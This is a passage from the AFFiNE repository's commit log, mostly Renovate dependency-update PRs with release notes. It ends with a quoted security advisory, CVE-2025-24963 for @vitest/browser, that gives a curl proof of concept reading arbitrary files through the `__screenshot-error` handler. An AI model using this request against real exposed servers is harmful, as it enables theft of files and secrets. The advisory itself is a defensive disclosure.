##### Fixed
- **Defer metadata extension ([#​3505](https://redirect.github.com/apollographql/apollo-ios/issues/3503 )):** Metadata extensions for deferred selection sets were incorrectly generated inside the namespace extension for `embeddedInTarget` and `other` module types. See PR [#​581](https://redirect.github.com/apollographql/apollo-ios-dev/pull/581 ).
- **`DataDict` initialization of `deferredFragments` for named fragments ([#​587](https://redirect.github.com/apollographql/apollo-ios-dev/pull/587 )):** When deferred fragments are named fragments the deferred type should be the fragment generated definition name.
### [`v1.16.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1161 )
[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.0...1.16.1 )
##### Fixed
- **Web socket data race crash fixed ([#​578](https://redirect.github.com/apollographql/apollo-ios-dev/pull/578 )):** A data race in the web socket layer was causing crashes in some rare circumstances.
- **Added support for GraphQL over HTTP media type([#​558](https://redirect.github.com/apollographql/apollo-ios-dev/pull/558 )):** Apollo iOS now supports the `content-type` header with a type of `application/graphql-response+json`.
</details>
<details>
<summary>gradle/gradle (gradle)</summary>
### [`v8.12.1`](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1 )
[Compare Source](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1 )
</details>
<details>
<summary>lucide-icons/lucide (lucide-react)</summary>
### [`v0.474.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.474.0 ): New icons 0.474.0
[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.473.0...0.474.0 )
##### Modified Icons 🔨
- `expand` ([#​2677](https://redirect.github.com/lucide-icons/lucide/issues/2677 )) by [@​jguddas](https://redirect.github.com/jguddas )
</details>
<details>
<summary>nodejs/node (node)</summary>
### [`v22.13.1`](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1 )
[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1 )
</details>
<details>
<summary>resend/react-email (react-email)</summary>
### [`v3.0.6`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#306 )
[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.5...react-email@3.0.6 )
##### Patch Changes
- [`c6fcd94`](https://redirect.github.com/resend/react-email/commit/c6fcd94 ): Fix preview server crashing without React 19
### [`v3.0.5`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#305 )
[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.4...react-email@3.0.5 )
##### Patch Changes
- [`7337d04`](https://redirect.github.com/resend/react-email/commit/7337d04 ): Fix emails being re-rendered each time there is navigation in the preview server
</details>
<details>
<summary>vercel/swr (swr)</summary>
### [`v2.3.2`](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2 )
[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2 )
### [`v2.3.1`](https://redirect.github.com/vercel/swr/releases/tag/v2.3.1 )
[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.0...v2.3.1 )
##### Fixes
- fix: missing `throwOnError` in SWRMutationHook options by [@​Ram4GB](https://redirect.github.com/Ram4GB ) in [https://github.com/vercel/swr/pull/3054 ](https://redirect.github.com/vercel/swr/pull/3054 )
- fix: sever env detection for deno by [@​elrrrrrrr](https://redirect.github.com/elrrrrrrr ) in [https://github.com/vercel/swr/pull/4064 ](https://redirect.github.com/vercel/swr/pull/4064 )
- keepPreviousData: return fallback instead of undefined value by [@​dvoytenko](https://redirect.github.com/dvoytenko ) in [https://github.com/vercel/swr/pull/4084 ](https://redirect.github.com/vercel/swr/pull/4084 )
##### Misc
- ci: update pnpm setup and lock pnpm vesion by [@​huozhi](https://redirect.github.com/huozhi ) in [https://github.com/vercel/swr/pull/4085 ](https://redirect.github.com/vercel/swr/pull/4085 )
- build: bump bundler by [@​huozhi](https://redirect.github.com/huozhi ) in [https://github.com/vercel/swr/pull/4086 ](https://redirect.github.com/vercel/swr/pull/4086 )
- refactor: type improvement of `useSWRHandler` by [@​samuel871211](https://redirect.github.com/samuel871211 ) in [https://github.com/vercel/swr/pull/4075 ](https://redirect.github.com/vercel/swr/pull/4075 )
#### New Contributors
- [@​Ram4GB](https://redirect.github.com/Ram4GB ) made their first contribution in [https://github.com/vercel/swr/pull/3054 ](https://redirect.github.com/vercel/swr/pull/3054 )
- [@​elrrrrrrr](https://redirect.github.com/elrrrrrrr ) made their first contribution in [https://github.com/vercel/swr/pull/4064 ](https://redirect.github.com/vercel/swr/pull/4064 )
- [@​dvoytenko](https://redirect.github.com/dvoytenko ) made their first contribution in [https://github.com/vercel/swr/pull/4084 ](https://redirect.github.com/vercel/swr/pull/4084 )
- [@​samuel871211](https://redirect.github.com/samuel871211 ) made their first contribution in [https://github.com/vercel/swr/pull/4075 ](https://redirect.github.com/vercel/swr/pull/4075 )
**Full Changelog**: https://github.com/vercel/swr/compare/v2.3.0...v2.3.1
</details>
<details>
<summary>vitejs/vite (vite)</summary>
### [`v6.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#610-2025-02-05 )
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.11...v6.1.0 )
- refactor: deprecate `vite optimize` command ([#​19348](https://redirect.github.com/vitejs/vite/issues/19348 )) ([6e0e3c0](6e0e3c0b99 )), closes [#​19348](https://redirect.github.com/vitejs/vite/issues/19348 )
- feat: show hosts in cert in CLI ([#​19317](https://redirect.github.com/vitejs/vite/issues/19317 )) ([a5e306f](a5e306f2fc )), closes [#​19317](https://redirect.github.com/vitejs/vite/issues/19317 )
- feat: support for env var for defining allowed hosts ([#​19325](https://redirect.github.com/vitejs/vite/issues/19325 )) ([4d88f6c](4d88f6c939 )), closes [#​19325](https://redirect.github.com/vitejs/vite/issues/19325 )
- feat: use native runtime to import the config ([#​19178](https://redirect.github.com/vitejs/vite/issues/19178 )) ([7c2a794](7c2a7942cc )), closes [#​19178](https://redirect.github.com/vitejs/vite/issues/19178 )
- fix: avoid builtStart during vite optimize ([#​19356](https://redirect.github.com/vitejs/vite/issues/19356 )) ([fdb36e0](fdb36e0769 )), closes [#​19356](https://redirect.github.com/vitejs/vite/issues/19356 )
- fix(build): fix stale build manifest on watch rebuild ([#​19361](https://redirect.github.com/vitejs/vite/issues/19361 )) ([fcd5785](fcd578587b )), closes [#​19361](https://redirect.github.com/vitejs/vite/issues/19361 )
### [`v6.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6011-2025-01-21-small )
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.10...v6.0.11 )
- fix: `preview.allowedHosts` with specific values was not respected ([#​19246](https://redirect.github.com/vitejs/vite/issues/19246 )) ([aeb3ec8](aeb3ec84a2 )), closes [#​19246](https://redirect.github.com/vitejs/vite/issues/19246 )
- fix: allow CORS from loopback addresses by default ([#​19249](https://redirect.github.com/vitejs/vite/issues/19249 )) ([3d03899](3d03899737 )), closes [#​19249](https://redirect.github.com/vitejs/vite/issues/19249 )
### [`v6.0.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6010-2025-01-20-small )
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.9...v6.0.10 )
- fix: try parse `server.origin` URL ([#​19241](https://redirect.github.com/vitejs/vite/issues/19241 )) ([2495022](2495022420 )), closes [#​19241](https://redirect.github.com/vitejs/vite/issues/19241 )
</details>
<details>
<summary>apollographql/apollo-kotlin (com.apollographql.apollo)</summary>
### [`v4.1.1`](https://redirect.github.com/apollographql/apollo-kotlin/blob/HEAD/CHANGELOG.md#Version-411 )
*2025-01-24*
#### Kotlin 2.1.0 ([#​6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291 ))
The artifacts are now compiled with [Kotlin 2.1.0](https://kotlinlang.org/docs/whatsnew21.html ). This change should be transparent for JVM and Android users thanks to [`languageVersion`](https://kotlinlang.org/docs/compatibility-modes.html ) but [requires klib consumers (native + JS) to update their KGP version to 2.1.0](8add2e3b98/compiler/util-klib/KotlinAbiVersionBumpHistory.md (L3-L5) ).
#### Rover LSP support in the IntelliJ plugin ([#​6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274 ))
The IntelliJ plugin now has a dedicated mode for backend developers that uses [Rover](https://redirect.github.com/apollographql/rover ) LSP ([Language Server Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol )) to parse federation and connectors directives. This mode is only available when using IntelliJ Ultimate and other IDEs with LSP support. It is recommended for subgraphs authors.
#### Gradle isolated projects support ([#​6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351 ))
This release supports [Gradle isolated projects](https://docs.gradle.org/current/userguide/isolated_projects.html ) for shorter configuration times.
#### Contributors 💙 💙
Many thanks to [@​jvanderwee](https://redirect.github.com/jvanderwee ), [@​varahash](https://redirect.github.com/varahash ), [@​whyoleg](https://redirect.github.com/whyoleg ), [@​StylianosGakis](https://redirect.github.com/StylianosGakis ) and [@​scana](https://redirect.github.com/scana ) for all the contributions and help in this release 💙 !
#### 👷♂️ All changes
- \[all] Do not set the license URL in the POMs ([#​6247](https://redirect.github.com/apollographql/apollo-kotlin/issues/6247 ))
- \[all] Bump Kotlin to 2.1.0 ([#​6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291 ))
- \[all] Bump atomicfu ([#​6245](https://redirect.github.com/apollographql/apollo-kotlin/issues/6245 ))
- \[intellij-plugin] Play nice with IDEs without Kotlin/Gradle ([#​6358](https://redirect.github.com/apollographql/apollo-kotlin/issues/6358 ))
- \[intellij-plugin] Reduce usage of GradleExecutionHelper ([#​6355](https://redirect.github.com/apollographql/apollo-kotlin/issues/6355 ))
- \[intellij-plugin] Use our own executeOnPooledThread instead of Android Plugin's ([#​6310](https://redirect.github.com/apollographql/apollo-kotlin/issues/6310 ))
- \[intellij-plugin] Make Java and Kotlin dependencies optional ([#​6304](https://redirect.github.com/apollographql/apollo-kotlin/issues/6304 ))
- \[intellij-plugin] Pass arguments to rover ([#​6303](https://redirect.github.com/apollographql/apollo-kotlin/issues/6303 ))
- \[intellij-plugin] Move Rover settings to own section and add note about needing v0.27.0+ ([#​6278](https://redirect.github.com/apollographql/apollo-kotlin/issues/6278 ))
- \[intellij-plugin] Remove untilBuild ([#​6279](https://redirect.github.com/apollographql/apollo-kotlin/issues/6279 ))
- \[intellij-plugin] Add support for the Apollo LSP via Rover ([#​6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274 ))
- \[intellij-plugin] Don't reference AdbShellCommandsUtil.executeCommandBlocking that's been removed ([#​6268](https://redirect.github.com/apollographql/apollo-kotlin/issues/6268 ))
- \[intellij-plugin] Make verifyPlugin fail on certain problems ([#​6256](https://redirect.github.com/apollographql/apollo-kotlin/issues/6256 ))
- \[intellij-plugin] Do not use internal symbol ([#​6255](https://redirect.github.com/apollographql/apollo-kotlin/issues/6255 ))
- \[intellij-plugin] Add explicit dependency to com.intellij.modules.json ([#​6254](https://redirect.github.com/apollographql/apollo-kotlin/issues/6254 ))
- \[gradle-plugin] Add a fail-safe mode to disable 2-step introspection and use minimal introspection query ([#​6360](https://redirect.github.com/apollographql/apollo-kotlin/issues/6360 ))
- \[gradle-plugin] Isolated Projects support ([#​6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351 ))
- \[gradle-plugin] expose the outgoing variants ([#​6329](https://redirect.github.com/apollographql/apollo-kotlin/issues/6329 ))
- \[gradle-plugin] Better Gradle error message ([#​6326](https://redirect.github.com/apollographql/apollo-kotlin/issues/6326 ))
- \[gradle-plugin] Fix classloader caching. Many thanks [@​scana](https://redirect.github.com/scana ) for catching this ([#​6309](https://redirect.github.com/apollographql/apollo-kotlin/issues/6309 ))
- \[gradle-plugin] Manage our classloaders manually ([#​6305](https://redirect.github.com/apollographql/apollo-kotlin/issues/6305 ))
- \[gradle-plugin] Only call `onSchema()` once in multi-module scenrios ([#​6252](https://redirect.github.com/apollographql/apollo-kotlin/issues/6252 ))
- \[runtime] Copy executionContext inside HttpRequest.newBuilder ([#​6350](https://redirect.github.com/apollographql/apollo-kotlin/issues/6350 ))
- \[runtime] Apple HttpEngine: lock the handlers map ([#​6348](https://redirect.github.com/apollographql/apollo-kotlin/issues/6348 ))
- \[runtime] Allow to initialize WebSocketEngine lazily ([#​6290](https://redirect.github.com/apollographql/apollo-kotlin/issues/6290 ))
- \[runtime] Remove CloseableBackgroundDispatcher and bump coroutines version ([#​6286](https://redirect.github.com/apollographql/apollo-kotlin/issues/6286 ))
- \[runtime] Override JsonNumber.toString() ([#​6273](https://redirect.github.com/apollographql/apollo-kotlin/issues/6273 ))
- \[runtime] Implement ApolloWebSocketClosedException on darwin targets and update docs ([#​6275](https://redirect.github.com/apollographql/apollo-kotlin/issues/6275 ))
- \[ast] Make deprecation.reason non-nullable ([#​6311](https://redirect.github.com/apollographql/apollo-kotlin/issues/6311 ))
- \[ast] Allow multiple [@​link](https://redirect.github.com/link ) schema extensions ([#​6284](https://redirect.github.com/apollographql/apollo-kotlin/issues/6284 ))
- \[normalized-cache] Add ApolloStore.ALL_KEYS to notify all watchers ([#​6337](https://redirect.github.com/apollographql/apollo-kotlin/issues/6337 ))
- \[http-cache] HTTP cache: do not remove cached entries on transport errors ([#​6314](https://redirect.github.com/apollographql/apollo-kotlin/issues/6314 ))
- \[execution] Add apollo-execution ([#​6356](https://redirect.github.com/apollographql/apollo-kotlin/issues/6356 ))
</details>
<details>
<summary>JetBrains/kotlin (org.jetbrains.kotlin.jvm)</summary>
### [`v2.1.10`](https://redirect.github.com/JetBrains/kotlin/blob/HEAD/ChangeLog.md#2110 )
##### Compiler
- [`KT-73858`](https://youtrack.jetbrains.com/issue/KT-73858 ) Compose / iOS: NullPointerException on building
- [`KT-73454`](https://youtrack.jetbrains.com/issue/KT-73454 ) K2: Fix type parameters mapping for typealiases with inner RHS
- [`KT-73043`](https://youtrack.jetbrains.com/issue/KT-73043 ) K2 Compiler does not allow references to inner constructors with typealiases
- [`KT-74040`](https://youtrack.jetbrains.com/issue/KT-74040 ) Compilation of inner class usage does not check the visibility of parent class during compilation in different rounds
- [`KT-73339`](https://youtrack.jetbrains.com/issue/KT-73339 ) K2: "VerifyError: Bad type on operand stack" because of missing implicit cast on generic field receiver with star projection
- [`KT-72585`](https://youtrack.jetbrains.com/issue/KT-72585 ) K2: Compilation failure when upgrading to Kotlin 2.0.20+: Cannot replace top-level type with star projection: S
- [`KT-73399`](https://youtrack.jetbrains.com/issue/KT-73399 ) compile-time JVM codegen failure on a KProperty argument of a KSuspendFunction parameter
- [`KT-72725`](https://youtrack.jetbrains.com/issue/KT-72725 ) KMP: Unsupported actualization of inherited java field in expect class
- [`KT-73153`](https://youtrack.jetbrains.com/issue/KT-73153 ) K2: Standalone diagnostics on type arguments are not reported
##### Compose compiler
- [`CMP-5680`](https://youtrack.jetbrains.com/issue/CMP-5680 ) Compose compiler: unexpected stability warnings for classes compiled with 2.0.10
- [`b/381407900`](https://issuetracker.google.com/issues/381407900 ) Avoid adding Compose annotations on synthetic classes
##### IR. Inlining
- [`KT-73981`](https://youtrack.jetbrains.com/issue/KT-73981 ) Cherry-pick the fix for KT-73482 to 2.1.10
##### JavaScript
- [`KT-70778`](https://youtrack.jetbrains.com/issue/KT-70778 ) Kotlin Js companion is undefined in production build
- [`KT-73130`](https://youtrack.jetbrains.com/issue/KT-73130 ) KJS: Missed `break` for do/while in generated JS code
- [`KT-58797`](https://youtrack.jetbrains.com/issue/KT-58797 ) Optimize the code generated for objects on JS and Wasm backends
##### Klibs
- [`KT-70146`](https://youtrack.jetbrains.com/issue/KT-70146 ) \[KLIB Resolve] Don't fail on nonexistent transitive dependency
- [`KT-73951`](https://youtrack.jetbrains.com/issue/KT-73951 ) Workaround for "Partial linkage engine may not patch some discrepancies in IR when compiling Kotlin/Native static caches" in 2.1.10
##### Native
- [`KT-73559`](https://youtrack.jetbrains.com/issue/KT-73559 ) K/Native: AndroidNativeArm64 linking fails starting from Kotlin 2.1.0
##### Tools. CLI
- [`KT-73967`](https://youtrack.jetbrains.com/issue/KT-73967 ) JDK 25: "IllegalArgumentException: 25-ea" with EA builds
##### Tools. Daemon
- [`KT-73311`](https://youtrack.jetbrains.com/issue/KT-73311 ) "Unable to release compile session, maybe daemon is already down" flakiness
##### Tools. Gradle
- [`KT-73728`](https://youtrack.jetbrains.com/issue/KT-73728 ) 'generatePomFileForMavenPublication' creates pom with dependencies with 'unspecified' version
##### Tools. Gradle. Multiplatform
- [`KT-73620`](https://youtrack.jetbrains.com/issue/KT-73620 ) KMP 2.1.0: Transitive dependency is broken when setting publication groupId
##### Tools. Gradle. Native
- [`KT-73572`](https://youtrack.jetbrains.com/issue/KT-73572 ) \[Gradle] `kotlin.native.cacheKind=none` doesn't work anymore
- [`KT-71419`](https://youtrack.jetbrains.com/issue/KT-71419 ) Light bundle KGP IT run against a stable K/N version
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions ) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 05:09:51 +00:00
forehalo
d3843d8f11
refactor(server): role actions definition ( #9962 )
2025-02-06 04:54:34 +00:00
renovate
31d251d44f
chore: Lock file maintenance ( #9654 )
...
This PR contains the following updates:
| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |
🔧 This Pull Request updates lock files to use the latest dependency versions.
---
### Configuration
📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions ) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-02-06 04:11:07 +00:00
CatsJuice
90cb37086d
fix(ios): add camera/photo library privacy description ( #9954 )
2025-02-06 03:41:17 +00:00
fengmk2
a2acacea3b
refactor(server): use userDoc model on PgUserspaceDocStorageAdapter ( #9845 )
...
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
8e7cfb6115
feat(server): userDoc model ( #9835 )
...
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
b40f007ccf
feat(server): doc model ( #9834 )
...
close CLOUD-104
2025-02-06 02:50:27 +00:00
Yifeng Wang
077a1b38ac
refactor(editor): use model coord system in worker renderer ( #9969 )
2025-02-06 10:36:59 +08:00
renovate
e35d930f9f
chore: bump up happy-dom version to v17 ( #9971 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) | [`^16.0.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/happy-dom/16.6.0/17.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>
### [`v17.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.0 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.1...v17.0.0 )
##### 💣 Breaking Changes
- Adds support for ECMAScript modules - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- This change allows the use of `import` and `export` statements in JavaScript files
##### 🎨 Features
- Adds support for tracing unended tasks when using `waitUntilComplete()` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​1567](https://redirect.github.com/capricorn86/happy-dom/issues/1567 )
- Read more about how to enable this feature under `debug.traceWaitUntilComplete` in the Wiki for [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings )
- Adds support for preloading fetch, stylesheet, script and modules in `HTMLLinkElement` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Adds support for `HTMLLinkElement.relList.supports()` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Adds support for `Request.mode` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Output failed requests to the console - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Adds support for `HTMLScriptElement.blocking`, `HTMLScriptElement.crossOrigin`, `HTMLScriptElement.fetchPriority`, `HTMLScriptElement.noModule`, `HTMLScriptElement.integrity`, `HTMLScriptElement.referrerPolicy` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Use cache in virtual server requests - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Adds support for `credentials` and `referrerPolicy` when fetching styles and scripts - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Disallow invalid attributes from being set in `Element.setAttribute()` - By **[@​OlaviSau](https://redirect.github.com/OlaviSau )** in task [#​1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706 )
##### 👷♂️ Patch fixes
- Call `afterAsyncResponse` fetch interceptor in virtual server requests - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
- Fixes bug where children in a `ShadowRoot` of a custom element that was upgraded from a `HTMLElement` wasn't considered connected to the DOM - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​320](https://redirect.github.com/capricorn86/happy-dom/issues/320 )
### [`v16.8.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.1 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.0...v16.8.1 )
##### 👷♂️ Patch fixes
- Handle non-string values gracefully when removing an attribute - By **[@​OlaviSau](https://redirect.github.com/OlaviSau )** in task [#​1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706 )
### [`v16.8.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.0 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.3...v16.8.0 )
##### 🎨 Features
- Add support for `insertRow()` and `deleteRow()` to `HTMLTableSectionElement` - By **[@​christiango](https://redirect.github.com/christiango )** in task [#​1708](https://redirect.github.com/capricorn86/happy-dom/issues/1708 )
### [`v16.7.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.3 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.2...v16.7.3 )
##### 👷♂️ Patch fixes
- Removes space from directory name that prevents the repo to be cloned on MS Windows - By **[@​kleinfreund](https://redirect.github.com/kleinfreund )** in task [#​1703](https://redirect.github.com/capricorn86/happy-dom/issues/1703 )
### [`v16.7.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.2 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.1...v16.7.2 )
##### 👷♂️ Patch fixes
- Ignore invalid cookies in CookieContainer - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693 )
### [`v16.7.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.1 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.0...v16.7.1 )
##### 👷♂️ Patch fixes
- Adds `ICookie`, `IOptionalCookie`, `CookieSameSiteEnum` and `IVirtualServer` as exports to the index file - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693 )
- Makes non-mandatory cookie properties optional in `CookieContainer.addCookies()` - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693 )
### [`v16.7.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.0 )
[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.6.0...v16.7.0 )
##### 🎨 Features
- Adds support for simulating local HTTP servers that serves files from the local file system - By **[@​capricorn86](https://redirect.github.com/capricorn86 )** in task [#​1688](https://redirect.github.com/capricorn86/happy-dom/issues/1688 )
- Read more about virtual servers in the [Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/IVirtualServer )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 01:24:25 +00:00
JimmFly
2ed03eaed7
fix(core): workspace storage rows are displayed unexpectedly ( #9539 )
...
close AF-2066
2025-02-05 23:58:01 +08:00
Brooooooklyn
7f2b07a701
feat(native): bump deps ( #9966 )
2025-02-05 13:48:18 +00:00
Brooooooklyn
58aa18afa6
style: run clippy fix and fmt ( #9965 )
2025-02-05 13:48:17 +00:00
Brooooooklyn
db1fcf42c9
chore(server): stdout is enough for collecting server logging ( #9964 )
...
`@google-cloud/logging-winston` is not working well :(

2025-02-05 13:25:11 +00:00
pengx17
d3400fbe89
fix(core): local blobs are not being deleted when gc in unused blobs settings ( #9960 )
2025-02-05 13:01:18 +00:00
donteatfriedrice
9cae1c3a28
fix(core): copilot client should throw right ai error ( #9958 )
...
[BS-2488](https://linear.app/affine-design/issue/BS-2488/copilot-client-需要正确返回错误类型 )
2025-02-05 12:46:13 +00:00
forehalo
4ed03c9f0e
feat(i18n): introduce server error i18n ( #9953 )
...
close AF-2054
2025-02-05 12:30:19 +00:00
renovate
4a943d854e
chore: bump up @vitest/browser version to v3.0.4 [SECURITY] ( #9937 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser )) | [`3.0.2` -> `3.0.4`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.2/3.0.4 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5 )
### Summary
`__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api ), an attacker can send a request to that handler from remote to get the content of arbitrary files.
### Details
This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system.
f17918a799/packages/browser/src/node/plugin.ts (L88-L130)
This code was added by 2d62051f13 .
### PoC
1. Create a directory and change the current directory to that directory
1. Run `npx vitest init browser`
1. Run `npm run test:browser`
2. Run `curl http://localhost:63315/__screenshot-error?file=/path/to/any/file `
### Impact
Users explicitly exposing the browser mode server to the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api ) may get any files exposed.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (@​vitest/browser)</summary>
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
